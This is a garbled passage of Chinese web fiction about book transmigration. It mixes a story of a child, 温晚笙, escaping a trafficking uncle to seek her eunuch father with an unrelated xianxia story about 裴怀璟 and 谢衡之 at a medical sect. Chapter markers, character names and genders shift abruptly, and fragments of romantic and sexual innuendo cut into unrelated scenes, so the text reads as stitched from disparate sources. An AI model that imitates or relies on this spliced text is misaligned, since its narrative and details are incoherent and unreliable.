杨元兴说温晚笙夜里睡得沉,这确实没错。 唯独今日,温晚笙白天补了一天的觉,半夜听见杨元兴起夜出门,心里害怕就一直醒着。 谁成想叫她听了这么一遭去,睡前的胡思乱想竟真成了真。 听着耳边并不刻意掩盖的声音,温晚笙一动不敢动,只藏在被子里的小手无端生了一层冷汗,湿涔涔的,差点连被角儿都攥不住了。 被头顶两双眼睛盯着,她竭力控制着表情,好险没被看出端倪来。 直到借着杨元兴的动作翻身躲进被子里,温晚笙是彻底控制不住了,眼角瞬间溢出惊惧的泪,上下牙止不住地发颤,连心口都一阵阵发紧。 醒春楼。 温晚笙对这个名字可谓印象深刻。 尤记得书中原主被拐卖后就是入了这里,其间种种虽未有着墨,可被卖进花楼的姑娘,如何能有好下场。 眼下的温晚笙年纪破小,她连寻亲都不能做主,若真去了那种地方,恐更是没什么活路了。 不及细想,只听房门口响起一阵骂咧声,下一刻便是杨元兴推门而入。 他摔上房门,一边走一边咒骂:“臭婆娘,区区四两银子打发要饭的呢!老子给你面子,还真当老子好糊弄了去,可滚你的吧!” “赶明儿老子再去那些暗楼问问,就不信卖不出个好价钱……” 单薄的木板床一晃,杨元兴一头栽倒在床上,左右不过片刻,就睡得不省人事,重新扬起震耳的呼噜声。 这厢他又是睡得昏天黑地,距他分寸之遥的温晚笙却是彻夜未眠。 她废了好大功夫才叫自己平静下来,努力去回想曾经看过的内容—— 书中的原身只是一个微不足道的小人物,寥寥数语便概括了凄惨一声,与之相关的身世背景也全是从掌印的角度道来的。 反是那个无缘相见的掌印亲爹,在书中出场颇多。 可惜全是些反面描述。 相传那位司礼监掌印原是清贵读书人,连中两元入京赶考,不料得罪权贵做了宫里的太监。 数年间,他手刃仇敌,从最卑贱的扫洒太监成了新帝最信任的掌印,阴冷自恣,残害忠良,受尽唾骂。 或是做皇帝手中刀,或是排除异己,死在其手中的人不计其数。 眼下放弃寻亲跟着舅舅安分过日子的路子是断了,偏这远在京城的亲爹也不像什么好相与的。 一个是一个是不怀好心的舅舅,一个是心狠手辣的亲爹,但凡能靠自己活下去,温晚笙哪个都不想选。 只是—— 她想到自己那不足大人腰高的三头身,不禁咬了咬下唇:“……拼了!” 与其等着被舅舅发卖,倒不如赌上一回,到京城去投靠亲爹。 得益于茶点铺小二的指点,温晚笙一路跌跌撞撞,总算到了城西。 城西多为家宅府邸和官府衙门,较之前充斥着大小商铺的接道更显冷情和肃穆,过往行人之衣着也光鲜正式了许多,便是沿街巡查的衙吏都多了起来。 温晚笙几次躲过巡逻衙吏,因着精神多在人身上,便没注意沿街景象。 等她再回神,却见裴围的青砖小舍全变成了高门宅邸,路上已没有了寻常百姓,而是一些家丁家婢,又或者缓缓驶过的华丽车马,少有嬉闹交谈。 温晚笙屏息凝神,趁着街上没人,快速换去一座石狮子后面躲着。 她从高大的石像后探出一个头,虽瞧见了东西两侧正门顶上的牌匾,却并不识得上面的字,她猜着应是什么什么府,但就是这关键的主人名姓认不出。 至于说跟之前一般寻人问路,早在碰见巡逻衙吏时,温晚笙就歇了这个心思。 她的一双猫儿眼瞪得溜圆,全心观察着街上的景象,也没察觉到有两人悄无声息地站到了她身后。 直到一只大掌按在她的肩膀上,温晚笙浑身一颤,下意识惊呼一声。 下一刻,她的两只胳膊全被掐住,后面两人只稍一用力,就将她腾空提起来,双手同时往前甩,她就被丢到了石狮子前头。 温晚笙打了个扑棱,慌慌张张抬起头,不料正对上两人满面寒霜的面庞,吓得她又是一个冷战,本就青紫的脸色更白了。 只见这两人面白无须,偏身高八尺,挺拔魁梧。 他们身着绣金武袍,腕间足上绑有护具,头束银冠,脚蹬长靴,漆黑的眸子里全无情绪,左手负于背后,右手按在腰间佩刀上。 时一时二本是回府取东西,意外将温晚笙的举动看了全部,又见她长时间躲在掌印府前,少不得怀疑其目的。 哪怕只是面对一个瘦瘦小小的女孩儿,他们也未有半分轻视,只因几年前曾有政敌将火药藏在稚童身上,趁他们掌印|心软救助时将其引燃。 那一回,携带火药的稚童当场炸死,他们掌印却也身负重伤。 自那以后,莫说是个小孩子,凡是靠近掌印的,无论是活人还是死物,都要经三道检查才能送到掌印跟前。 眼下他们见温晚笙哆哆嗦嗦半天不说话,逐渐失了耐性。 时一冷声问道:“汝是何人,在掌印宅前鬼鬼祟祟,意欲何为?”他的声音又重又哑,好像是声带受过伤,透着一股阴涔涔的沙哑。 温晚笙却没有注意他言语间的阴冷,猛然抬头:“掌、掌印?你说这里便是掌印的宅子?” 她的一番反应让时一时二瞬间警惕,掌下的佩剑微微出鞘,泛出一点寒光。 温晚笙没有注意到这些,她抽了抽鼻子,断续说道:“我是来找掌印的,我、我想见见他,您能带我去见他吗?” 时一眸光一沉:“见掌印?”他仔细回忆一番,并不记得他们与江南何人有过牵扯,转头与时二目光相接,也在他眼中得了相同的答案。 他将视线重新落到温晚笙身上,扯了扯嘴角:“你以为你是谁,掌印岂是你想见就能见的?速速离开,不然休怪我等不客气。” “不是——”温晚笙有些着急,冷风下声音颤巍巍的,“我是从江南来的,过来是为了寻亲,我是掌印的……” “够了。”时一不耐打断,指尖一拨,长剑出鞘大半。 温晚笙被刀剑震慑,下意识后退半步,剩下的话也全咽回了肚子里。 时一垂眸道:“最后一遍,要么走,要么死。” 温晚笙骇然失语,实在不明白对方为何一言不合就拔刀。 但看对方的表情,这话可不只是吓唬,只怕温晚笙再迟疑片刻,这刀就要落在她身上了。 她不觉又是后退两步,声音不受控制:“我、我走,别……” “滚。”时一垂下右手,长剑落回剑鞘中,而他的目光却还是落在温晚笙身上。 温晚笙再不敢耽搁,倒行三两步,最后看了时一和时二一眼,转身快步跑开,连着拐了两道弯,直到背后如针刺般的目光完全消失,她才敢停下脚步。 “呼呼呼——”她撑着墙平复呼吸,心口扑通扑通直跳。 然想起刚刚听到的,温晚笙眸子亮晶晶的,一去往日病态,连脸上都显出两分红润。 “何为避孕药?”裴怀璟眉间浮起茫然。 温晚笙嘴唇抿得死紧。 良久,少年长长的眼睫覆下来。 “原来不是给我的,二小姐直说便是。” 温晚笙无语了,索性破罐破摔: “就是生米煮成熟饭,要用的东西!” 第 78 章 第 78 章 温晚笙撞进少年弯起的眼波里,觉得自己大约是疯了。 他一装委屈,她就像是中了邪一样,忍不住把实话往外倒。 少年静静地看着她,眸中清凌凌的。 他不明白,煮饭与喝药有何干系。 想来,她又在骗他。 不过那又如何。 每逢假日,她都会带他回家,这便足够。 找到她亲爹的家了! 这突如其来的好运让她的兴奋远远超出恐惧,哪怕才被威胁过,可还是无端生出许多勇气来,仿佛即刻能跑回去,来一场感人泪下的认亲。 而时府府前,时一收回目光:“走吧,大人该等急了。” 时二微微点头,转身之际忽然想起刚才见到的女孩儿的模样。 温晚笙在外奔波数日,身上脸上都不算干净,唯有那双猫眼格外明亮,让人一眼看来印象深刻。 时二又是清楚记得,他们掌印也有一双如出一辙的猫眼,只是比起那小女孩眼中的清澈,他们掌印眼中永远沉着一滩浓墨。 这般想着,他的脚步不觉慢了一些,直到被时一问询一声,他才回神,无声摇了摇头。 一个时辰后,天色彻底暗了下来。 高门大宅里点起蜡烛,街上却仍是一片漆黑。 借着夜色的掩饰,一团小小的影子紧贴着墙壁,一点点往时府方向移动着。 温晚笙身上还穿着杨元兴替换下的那件脏棉袄,棉袄虽是又脏又破,还有一股散不掉的油腥味,但总比她自己那身单衣强些。 她已经把长长的袖子全部落下来,两个袖口缠在一起,好将胳膊和手全缩在里面,挡住从外面渗进来的冷气。 而棉袄的下摆同样很长,她穿在身上能盖到膝盖还要往下一点的位置,稍微有点限制行动,但胸口往上是能存住一点热气的。 温晚笙就是靠着这点温暖,在一条街外的墙角下等了一个多时辰,直到天黑才重新往时府找来。 她已经认真想过了,这边的府宅都有家丁或护卫看守着,她想偷偷摸摸混进去肯定是行不通。 掌印手下有甲兵调遣,时府与其他宅府又有不同,就说傍晚逮到她的那两人,约莫就是时府的看守,不光管着府里,连府外也注意着。 温晚笙左思右想,只觉跟掌印见上一面实在困难。 勉强或许可行的,也只能等掌印回府的时候,趁着人多车马也多,她不管不顾地闯过去,不管能不能闯到掌印跟前,至少要叫对方知道有她的存在。 对了!光是闯过去还不行,为了避免被误伤,她还要边闯边大喊。 至于说喊什么……甘愿做回陛下的家奴。 真的吗? 温晚笙总觉得怪怪的,先前还没察觉出什么异样,如今却越想越不对劲,偏她还指不出是哪里不对来。 不等她想个明白,皇后已哄她坐到座位上,温声细语道:“阿归今日便跟娘娘坐在一起,娘娘陪阿归用膳可好?” “还有底下的皇子皇女们,等会儿娘娘介绍给阿归认识,等你们处熟了,就能一起去御花园看瑞兽,将来还能一起……诶?” 说到一半,皇后忽然疑问了一句:“阿归可有准备去蒙学?” 温晚笙打起精神来:“回娘娘,已经在准备了,阿爹说等开春就送我去念书,只还没定下去哪家学堂。” “这哪里还用得着想,自然是官学了!”皇后笑着点了点她的额头,甚是亲昵道,“有公公在,阿归自有入官学的资格。” “外头的私塾是轻松宽泛些,可先生们的水平也是参差不齐,怎么也不比官学的讲师们博学的,多少人挖空心思也进不来的官学,阿归何必舍近求远?正好湘儿也在官学,若阿归去了,还能与湘儿做个伴,喏,那个偷喝梅子酒的丫头就是娘娘的小六湘儿。” 皇后眼尖地发现皇子席上的异动,看似在叫温晚笙认人,实则也不轻不重地点了裴兰湘一句,唬得小姑娘忙把酒盏丢掉,装模作样地把手背到身后去,向母后露出一个讨好的笑。 温晚笙的目光不禁往那边望去,自入殿起,才有机会瞧一瞧皇子皇女们的模样,更是一眼就认出皇后口中的六皇女裴兰湘。 只是她看人多是好奇打量,裴兰湘返回来的目光就不那么友善了,趁着皇后没注意,裴兰湘冲着温晚笙做了个鬼脸,龇了龇牙。 给给给、给她作伴? 温晚笙对官学刚生起的一点兴趣,全被裴兰湘的举动打散了。 她掐了掐指尖,强迫自己不要想太多。 温晚笙自言自语道:“就喊阿爹吧……这样就算他不愿认我,顾忌着看热闹的人,也不好当场处置了我,能苟活一日是一日。” 她自觉计划好了一切,唯一没能计划到的—— 时序已有半月不曾回府,今日有些要查看的宗卷存放在府中,派时一时二去取了一趟,仍有几卷落下的。 他看外面的天色已晚,与其叫时一时二再去取一回,倒不如他自己回去,正好连夜把宗卷看完,明日沐浴更衣后入宫一趟。 既是打定了主意,时序也不管时辰如何,嫌弃马车太慢,只管叫底下人备马,反身披上大氅,跨马便出了衙门。 他前后皆有人护卫,时一时二在前开路,后面另有数十甲兵随行。 夜色愈深,马蹄在街上掠过,惊动了院里看家的狼犬,发出阵阵犬吠声。 深更半夜,连打更人都歇了,街上空寂得连风声都清晰可闻,哪有像温晚笙想的那样,在外面看热闹的。 也亏得夜里天寒,温晚笙又是发冷又正紧张着,到这个时候还清醒着,这才没错过时序去。 当她听见隆隆的马蹄声时,尚以为是听错了。 直到她一探脑袋,蓦然瞧见时府开了大门,又有家丁鱼贯而出,不过片刻就将府门外的道路照亮。 马蹄声逐渐清晰,时一时二的面容也映入温晚笙的眼帘。 不知怎的,她心口一跳。 前后不过两息,时一时二就到了府前,两人先后下马,门口迎接的家丁已上前接过马缰绳,又训练有素地退下去。 时一和时二走到管家跟前,声音断断续续地飘进温晚笙耳朵里。 “掌印回府……可有备好餐食……” 不等管家回答,却见后方数匹骏马也在府前停下,最前那人旋身下马,棕色大氅在半空中划过一道弧线。 时一停住话语,和时二一齐向侧面退了一步,头颅半垂,静默候立。 管家及其余家丁也一下子紧张起来,管家踌躇片刻,犹豫着往前走了两步,刚准备说什么,余光中却突然出现了一团阴影。 不等他看清那阴影是什么,刀剑出鞘的声音响起,时一厉声道:“保护大人!” 与其同时,一道含着哭腔的叫喊声响起:“爹——阿爹!” 温晚笙闷头往前冲着,等见到出鞘的刀剑时,已控制不住向前的冲势。 她的眼泪一下子就从眼眶里溢出来了,危急之下,也只能一声声喊着爹。 偏她之前把两个袖口系在了一起,连伸手都伸不出来,弯腰躲剑时身形一个不稳,噗通一声跌在了地上,不受控制地往侧面滚去。 好巧不巧,时序正在她滚动的方向站定。温晚笙依稀记得,那本书中的裴怀璟可是个风光霁月的人物,文武全才,心有大善,性子虽冷清些,却心怀百姓,即位后连发十二道政令,将大裴朝推上新的顶峰。 能让书中男主心甘情愿追随效忠的的帝王,必有过人之处的。 当然,能不下令将她爹车裂就更好了。 温晚笙缩了缩脖子,到底有点意动:“那……” 下决定前,她还是没忍住,往时序的方向投去求助的目光。 时序一眼就看出她所想,当即拱手道:“劳娘娘惦记,阿归虽是臣的女儿,臣却不愿对她管束太多,只要阿归愿意,官学也好,民学也罢,臣绝不插手。” 说完,他又添了一句:“阿归,还不谢过娘娘偏爱。” “啊——”温晚笙被提醒道,赶忙从座位上跳下来,有模有样地给皇后行礼,“阿归谢娘娘偏爱。” 皇后摆了摆手,追问道:“那阿归是决定来官学了吗?” “嗯!”温晚笙重重点头,“我想去官学的。” 既能学些真本事,又能早早与裴怀璟打交道。 哪怕最后还是一无所成,总能替她爹在未来的皇帝面前刷刷好感吧?不求荣华长久,好歹别死无全尸呀。 温晚笙心里的小算盘打得噼里啪啦响,不敢去看皇子席上的裴怀璟,就眼巴巴地盯着皇后,眸子里全是敬仰。 “好好好。”皇后大悦,当即拉着温晚笙走下玉阶,带她走到皇子席前,竟是要亲自给她介绍众皇子皇女们。 “这位就是你的裴怀璟哥哥。” “璟承,这是阿归,想来你已认识了吧?” 时一等人离他有些距离,护卫不及,只能眼睁睁看着温晚笙咕噜噜撞在他小腿上。 时序下盘颇稳,被撞了一下也不见半分晃动。 反是温晚笙被反作用回去,脑门咚一声砸在青石板砖上。 温晚笙头顶一片金星,朦朦胧胧抬起头,不等看清时序模样,先抽抽搭搭地喊了一声:“阿爹,我是你亲闺女呀!” 片刻无言后,不知谁没忍住噗嗤一声,时序裴身愈发冰冷了。 “二小姐非去不可吗?” 温晚笙点点头。 “好。”裴怀璟弯唇,笑得乖顺。 温晚笙松了口气。 可就在放开少年的手的瞬间,肩膀被轻轻一劈。 意识消散之前,她看见少年一寸寸沉下去的眼神。 第 79 章 第 79 章 温晚笙做了一个很长很长的梦。 梦里,她不是借尸还魂的异客,而是真真正正古人。 母亲搂着她,哼着好听的童谣,还给她念话本。 父亲抱着她,走过长长的街巷,给她买糖人吃。 这样幸福平淡的日子,她想一直过下去。 可惜一场意外,带走了母亲,小小的她也失去了意识。 谢衡之点头:“女主和她的太子哥哥并没有血缘关系,因为真正的公主被奶娘调换了。” 裴怀璟:“哇,所以女主其实是奶娘的女儿,所以这本书是个伪骨科?” 谢衡之:“对,没错,是这样的。” 裴怀璟:“那真正的公主呢?” 作为医仙的弟子,姚蓉蓉是有几分傲气的,立刻说道:“尸毒我也解过几种,没什么难度。” 裴怀璟笑了笑,伸手撸起了自己的袖子,衣袖被她挽了上去,露出了一条布满黑色纹路的手臂。 长期在不见天日的墓穴中行走,裴怀璟的皮肤白的像幽灵,那黑色的纹路如同数不清的黑色细线,在她苍白的皮肤上向四周蔓延。 姚蓉蓉愣了愣,“把手拿来,我给你把脉。” 那时小师弟用化名,名叫重羽,谢衡之不知他是书中的男主之一,一直叫他小重师弟。 一次对剑时,谢衡之不小心弄掉了他用来束发的玉簪,小师弟那一头青丝在风中轻舞,片片梨花落在他的发丝上,当真是好看极了。 肌肤雪白的少年乌发垂肩,眼睫轻颤,轻声唤她:“师姐。” 谁能想到,那么乖那么软的一个美少年 裴怀璟手里拿着个苹果,躺在地毯上唉声叹气,绿色的青苹果在她指尖上像个陀螺似的转了好几圈,她向上一抛,苹果在空中划过一道抛物线,稳稳地落在了身旁的地桌上。 地桌旁边跪坐着一个一身白衣的女子,膝盖上放着一把通体雪白的长剑,像一只安静的大白猫。 裴怀璟戳戳她,“阿雪,帮我削个皮。” 白衣女子微微点头,一道剑光从裴怀璟眼皮上闪过,长剑出鞘,剑尖挑起了苹果,苹果高高飞起,剑光又是一闪,当苹果落在桌上时,不仅被削了皮,还被切成了大小均等的六瓣。 “豁!三秒钟不到!”裴怀璟拿起一块苹果,“从前你可是连土豆皮都不会削的啊。” 白衣女子微微一笑,拿起一旁的棉布巾,轻轻擦拭长剑,“你从前也怕鬼,连鬼片都不敢看,现在不也成了一个鬼修么?” 裴怀璟心痛地猛拍大腿,嘴里的苹果都不香了:“你这种爱看小说的人穿书也就算了,我就只摸了一下那本小说的封面,就这样也能穿?!” 事情,要从一本书开始说起。 小区附近开了一家书屋,裴怀璟的好基友——谢衡之,是个超级爱看小说的人,立刻拽着裴怀璟去了书屋。 肩膀忽然被裴怀璟撞了一下,谢衡之回过神来,脑海中那张面孔就像被风吹散的雾气,忽地消散了。 耳边传来的裴怀璟的声音:“哇,这姑娘漂亮啊!” 谢衡之抬头,随着裴怀璟的视线望过去,看到了不远处站在梨花树下的少女。 少女穿着一身鹅黄衣衫,发髻上簪着几朵黄玛瑙雕成的棣棠花小簪,脑后系着同颜色轻纱发带,俏生生地站在梨花树下,像一朵嫩嫩的鹅黄色花朵。 徐清眼前的少女行了一礼,说道:“姚师姐,这两位是摘了您医牌的病人。” 穿着鹅黄色衫子的少女转过身,是明媚俏丽的长相,一双漂亮的杏眼黑白分明,眼圈却是微微泛红着的。 她看了裴怀璟和谢衡之一眼,有些恹恹地说道:“知道了。”丹宫弟子穿金衣。 医宫弟子穿白衣。几块铜板,一个水壶,一个火折子,两小罐治伤的药,还有一个长了毛的馒头。 裴怀璟打量着馒头上的绿毛,看着谢衡之,沉默数秒,裴怀璟问道:“你怎么混成这样,长了毛的馒头你也留着?” 谢衡之有些尴尬:“这事说来话长。” 裴怀璟扔掉馒头,拍拍手:“那就长话短说。” 谢衡之顿了顿,斟酌了好一会才说道:“我一剑捅穿了我的小师弟。” 裴怀璟来了精神,扶正了额头前歪歪斜斜的白玉环抹额,身子坐直了些,竖起了耳朵:“细说。” 说起这段事,谢衡之脸上的表情变得不太自在,她清清嗓子,低声说道:“我那个小师弟的身份有点特殊,我当时下手太狠,他吐血跪在我面前,我立刻知道自己闯了大祸,连盘缠都来不及带,就慌不择路地逃出了师门。” 裴怀璟问道:“你的小师弟的身份有多特殊?” 谢衡之叹了口气:“他是羽朝太子,女主她哥,书里的男二号,也是我在烟都学剑时的小师弟。” 药宫弟子穿黄衣。 商宫弟子穿黑衣。按照原著的剧情,谢衡之将会成为女主羽落清的暗卫,然后偷偷暗恋太子羽重雪,最后为女主挡了毒针而死。 在21世纪,谢衡之有个幸福的家庭,妈妈叫李雪,爸爸叫闻人语,所以她叫谢衡之。 穿书之后,她的父亲名叫十七,母亲名叫廿九,按照暗卫的取名习惯,她应该叫三九。 谢衡之的父母都是医生,家境虽说算不上大富大贵,那也是衣食无忧的中产阶层,作为家中的独生女,从小到大也是被家人捧在手心里富养的女孩。 这种女孩,但凡有一丝血性的,就不可能用自己的生命为别人做嫁衣。 想要在她的血肉上开出花? 呸! 她一定在临死前斩草除根,把所有人都鲨了。 玄武商船行驶在波涛汹涌的大海上,浪涛拍打着水晶做成的窗子,裴怀璟倚在墙上打了个哈欠。 “这种光线昏暗的环境很适合睡觉,如果不是船太晃的话,我倒真想大睡一场。” “哎呀,到底什么时候能到碧海潮生啊?” 谢衡之答道:“再过两天就到了。” 裴怀璟揉揉脑袋,愁眉苦脸地说道:“居然还有两天,这时间怎么变得这么漫长啊?” 谢衡之说道:“等待是世界上最漫长的事。” 裴怀璟懒懒的倚着墙,抬手摸了一下眉间的玉环。 等级上分天地玄黄,医仙月扶疏的第四位弟子——姚蓉蓉,便是地字乙等的医师。 这位原著中的恶毒女配,因为嫉妒女主羽落清抢走了师尊和师兄们的宠爱,所以频频针对女主,最后更是想用毒针杀死女主。 最后被羽朝太子羽重雪砍掉手筋脚筋,扔在烈日下暴晒而死。 怎么形容呢。裴怀璟好奇:“比如呢?” 谢衡之说道:“比如,这个梨花苑再过不久就会换了主人。” 裴怀璟来了兴趣:“哦?”易了容的谢衡之突然说道:“既然想家,干脆一直待在家里好了,还学什么医,。” 她易了容,声音也故意压低,羽落清没有认出她。 听见这么不客气的话,羽落清脸色微变。 她看了谢衡之一眼,发现说话的女子相貌平平,穿着也寒酸,便不想和这种寒酸的人计较。 “我的事情,你一个平民怎么会懂,倒是姚师姐回去的时候记得多点几个灯笼,玉笙居偏僻,走路可别摔跤。” 姚蓉蓉咬牙说道:“不劳你惦记,还有,你还没有行过拜师礼,算不上我师尊的弟子,这声师姐我可承受不起。” 被戳到痛处,羽落清的脸色终于变了。 羽落清自小到大就没有得不到的东西,身为羽朝的公主,谁敢给她脸色看,谁敢让她不顺心? 只要略微使一点小手段,就连烟都那一位“一舞剑器动四方”的谢衡之也要在她这里吃亏。 谢衡之:“梨花苑离仙居殿最近,仙居殿是岛主月扶疏居住的地方,女主羽落清因为思念自己的太子哥哥,所以茶饭不思日渐消瘦。” 裴怀璟:“那这和梨花苑有什么关系?” 谢衡之:“当然有关系了,梨花苑开满梨花,女主的寝宫里也种满了梨花,因为她的太子哥哥羽重雪喜欢梨花。” 裴怀璟:“简直越听越乱,她的太子哥哥不就是你的太子小师弟么?” 槽点很多。梨花苑种满了梨树,梨花一开,白茫茫一片,看着很是凄美。 梨花苑守门的小厮查看了医牌,便恭敬地让他们进去了。 四月,正是梨花盛开的时节啊。 谢衡之心中有些怅然。 她从小学剑的地方名叫烟都,位于高山之巅的茫茫云海深处。 她一剑刺穿太子小师弟的胸膛后,便如丧家之犬般离开了从小长大的地方。 烟都也开满了梨花。 那里常年多雾,因为地高气寒,山上的梨花六月才开。 薄雾中的梨树恍如堆雪,美的亦真亦幻,谢衡之常常和太子小师弟在漫天飘舞的梨花中对剑。 但这个恶毒女配的医术是真的很不错。 也是赶得巧,跟着徐清来到医宫时,姚蓉蓉的医牌正巧刚挂上半个时辰。 谢衡之连忙取下姚蓉蓉的医牌。 商宫的徐清笑道:“也真是赶得巧,地字等级的医师都有自己的院子,姚师姐住在梨花苑,我今个好事做到底,领你们到梨花苑去。” 裴怀璟抱拳笑道:“徐大哥真讲义气,要不是身上的毒还没解,在下一定跟您喝上一杯。” 徐清转过身对裴怀璟说道:“你们先好好看病,我还有事就先走了。” 裴怀璟冲他抱拳:“徐哥慢走。” 谢衡之是个社恐,此刻一心记挂着裴怀璟的病,勉强从干涩发紧的喉咙里挤出了声。 “姚、姚姑娘,我朋友中了一种很厉害的尸毒,找了很多人看,都说不能解。” 裴怀璟朝她伸出一只手,姚蓉蓉的两根纤纤玉指刚搭在她的手腕上,一双眼睛就瞪大了。 “你是女子?”姚蓉蓉将书房中的医书翻遍了,也没找到解决尸毒的法子。 医学生放出了她的终极大招——摇人。 这次摇来的,是丹宫的宫主阳无尘。 阳无尘是一位很有名气的神医,年过半百依旧精神矍铄,因为早年中了一种热毒,导致头发变成诡异的橘红色,皮肤上也布满了奇怪的橘红色纹路。 看上去像一只化形不太成功的老虎精。 阳无尘看了看裴怀璟的毒,见到那些蔓延在皮肤下面的千丝万缕的黑线,脸上顿时露出了惊讶之色:“这尸毒谁给你下的?” 裴怀璟老老实实地说道:“老先生,我是个本分人,就是运气不好,下地干活的时候突然遇见了一个大粽子,一直追着我跑,我好不容易给他按进棺材里,想让他睡个觉休息休息,可他不领情,还给我下了毒。” 阳无尘垂在嘴角的胡须抖了抖,拿出三菱针刺破裴怀璟指尖,挤出了两滴黑血。 “你这毒很怪,我拿去琢磨琢磨。” 裴怀璟点头如小鸡啄米:“老先生尽管拿,再放几滴血也不要紧,我皮糙肉厚不怕疼的。” 阳无尘也不客气,又扎了裴怀璟两个指头。 阳无尘走后,谢衡之忍不住问道:“你对那粽子做了什么,居然给你下这么狠的毒?” 一旁的姚蓉蓉也好奇地看了过来,裴怀璟擦了擦指头上的血,云淡风轻地说道:“我是本分人,能对个粽子做什么?” 姚蓉蓉狐疑地看着她:“你是不是看那粽子的衣裳太好,把人家衣服扒了?” 裴怀璟满脸严肃:“小美女,饭可以乱吃,话不能乱说,我是个本分人,怎么能干出扒人衣服的坏事呢。” 姚蓉蓉信了,谢衡之可不信。 裴怀璟现在的身高185,穿鞋的话差不多188,,就连身高170的谢衡之在她面前都显得娇小。 她又是一身男装打扮,也怪不得别人会将她误认作男儿。 裴怀璟露出一个灿烂笑容:“小时候吃的好,所以长得格外高些,人也显得粗犷,要是有姚姑娘这么俏丽可人就好了。” 这一番夸赞让姚蓉蓉红了脸。 谢衡之:“奶娘出宫后当了一名绣娘,这个时间点,真正的公主应该在家绣花。” 裴怀璟:“哦豁,有意思。” 谢衡之:“女主这个人也很有意思,我在烟都学剑的时候,女主因为思念她的太子哥哥,也曾嚷着要拜师学艺,于是就来烟都小住过一段时间,天天缠着羽重雪教他练剑。” 裴怀璟好奇:“所以,那她学成了吗?” 谢衡之苦笑了一声:“我倒挺希望她能学有所成,可惜练剑太苦,她只在树荫下蹲了一会马步就受不了了,最后只马马虎虎的学了点内功心法,勉强记下了几个剑招。” 谢衡之的苦笑又转为冷笑,“是啊,羽朝的公主也不用吃苦,身边一堆武功高强的暗卫为她出生入死呢。” “嗯你还要不要了?”再不吃,晚膳都凉了。 裴怀璟瞳仁轻颤。 要? 这个字唤醒了他的回忆。 他要。 于是,他迟缓地捧起晚膳,含住。 第 80 章 第 80 章 温晚笙脑子白茫茫一片。 他从没如此激烈地吻过她的唇。 渐渐地,她接受了,手也移到了他发间。 少年的发丝柔软,缠在指间,带着些微的凉意。 她被亲得喘不过气来,微微张开唇,按着少年的脑袋,好似比他更需要换气。 裴怀璟正毫无章法地亲吻着。 他高挺的鼻梁与柔软的唇瓣一同落下。 薄唇时张时闭。 张开时带着温凉,闭着时又只是擦碰。 还不等裴怀璟说话。 谢衡之已经一口茶喷了出来。 裴怀璟愣住,呆了好半晌才面容扭曲地说道:“就没别的精华液了吗!!” 温晚笙想了想,还真的点了一下头。 裴怀璟眼中亮起希冀的光芒。 温晚笙说道:“奶水也行。” 谢衡之倒吸冷气:“男人怎么能产奶?” 裴怀璟也是倒吸冷气:“我怎么让男鬼产奶?” 两人异口同声,温晚笙看了她们两个一眼,说道:“碧海潮生收治的患者中有分泌奶水的男人,所以男人是可以产奶的。” 谢衡之风中凌乱,裴怀璟沉吟不语。 温晚笙对裴怀璟说道:“你右尺脉弦微无,左手脉象沉微迟弱,我给你开两副破格救心汤,你按时喝,等补足了气血,我会给你封脉。” 裴怀璟问道:“封脉是什么?” 温晚笙:“封住你的一部分经脉,延缓尸毒向心脏蔓延的速度。” 她合上药箱,看向两人。 裴怀璟很热情地说道:“我们的事情弄完了,现在该轮到你了。” 谢衡之和裴怀璟端正地坐在石凳上看着温晚笙。 温晚笙并不热切,仍是那种万事万物都不在乎的倦怠模样,声音淡淡地说道:“我的事情没什么好说的,我要逃出碧海潮生。” 她把药箱放在一旁,看着裴怀璟和谢衡之,“这很难,因为我身边一直有两个天人境的高手跟着,所以我至少需要两个天人境的高手。” 裴怀璟和谢衡之面色凝重起来。 天人境高手可不是大大白菜随地可见。 放眼全书,天人境的高手都不到一百人。 然而光是监视温晚笙的天人境就有两个。 如果没记错,就连月扶疏身边也才只有一个天人境的暗卫,女主羽落清的两个暗卫也只是地鬼境巅峰而已。 就连谢衡之的太子小师弟羽重雪,身边也只有一个天人境守卫。 温晚笙这个安保档次,已经超出了皇子皇女的规格。 所以温晚笙到底什么来头,值得月扶疏那么上心? 温晚笙说道:“你们身上的毛病不是一时半会能解决的。” 裴怀璟问道:“需要多久?” 温晚笙竖起三根手指:“三年。” “三年之后,如果你们达不到天人境,也没办法助我逃出碧海潮生,那时候你们另请高明,不必请我医治了。” 谢衡之说道:“时间上可否再宽限一点?” 温晚笙笑了笑,对谢衡之说道:“你们或许有很多时间,可我的时间只有三年。” 裴怀璟问道:“能稍微透露一下么,我看看我们能不能帮到你。” 温晚笙说道:“炼丹师都很疯狂,从前有个一心长生的神医,为了炼出传说中的长生不老药,以城为炉,以人为丹,弄死了两万人。” 她又是轻轻一笑:“也许碧海潮生也不过是月扶疏的一个丹炉罢了。” 湖心亭一阵暖风吹过,裴怀璟和谢衡之却遍体生寒。 一片死寂的沉默中,温晚笙站起身整理衣袖,顺便拎起了桌上的药箱。 “投资这种事,有时候会赚得盆满钵满,有时候会赔得血本无归。” “希望你们两个不要让我赔得太惨。” 她袅袅娜娜地离开了玉笙居,孤身穿过层层绿竹,裴怀璟和谢衡之看着她走远,脸上的表情都很复杂。 裴怀璟叹气:“为什么穿书的人都这么倒霉?” 谢衡之也叹气:“穿书的人,哪有不倒霉的?” 一会儿重,一会儿轻,像是要尝出个究竟。 尤其是疤痕那处,被反反复复地碾过。 温晚笙有点喜欢了。 “二小姐。” 少年突然停了动作,沙哑的声音传来。 “嗯?” 温晚笙不舒服地看向他,想催促他快些做晚饭。 裴怀璟指尖划过食材,眸子里浮着几分未被世事沾染的迷茫。 “为何唯独此处不软?” 有着绝世容貌的女主被一堆男人抢来抢去,这些男人权势滔天,女主只能被动承受着少年天骄们对她那狂风暴雨般的爱。 这种不用动脑子的书看起来太爽了。 女主什么也不用做,只要眼眶一红,就有无数男人为他肝脑涂地的感觉也太爽了。 代入一下的话,真的很难抗拒。 温晚笙是在一个平常的傍晚看完这本书的,那时残阳如血,天边红彤彤一大片,还没有找到实习的温晚笙决定做一个废物。 她向书屋借了那本书,乘着飞机回到乡下老家,拿个小板凳坐院子门口的大树下看小说打发时间。 大树旁边有一个小土堆,又有一窝蚂蚁在这里落了户。 书页翻了又翻,蚂蚁在她脚下来来往往,白色的洞洞鞋沾了点土,天边的晚霞越来越浓艳,金红色的晚霞铺在天空上,一直往远处延伸,很像火凤凰的长长尾羽。 这只美丽的火凤凰正飞向地平线,独留美丽的尾羽在天空中摇曳。 这是温晚笙关于家乡的最后记忆。 第二天早晨醒来时,她穿书了。 就那么突然的,没有任何征兆的穿进了那本书里。 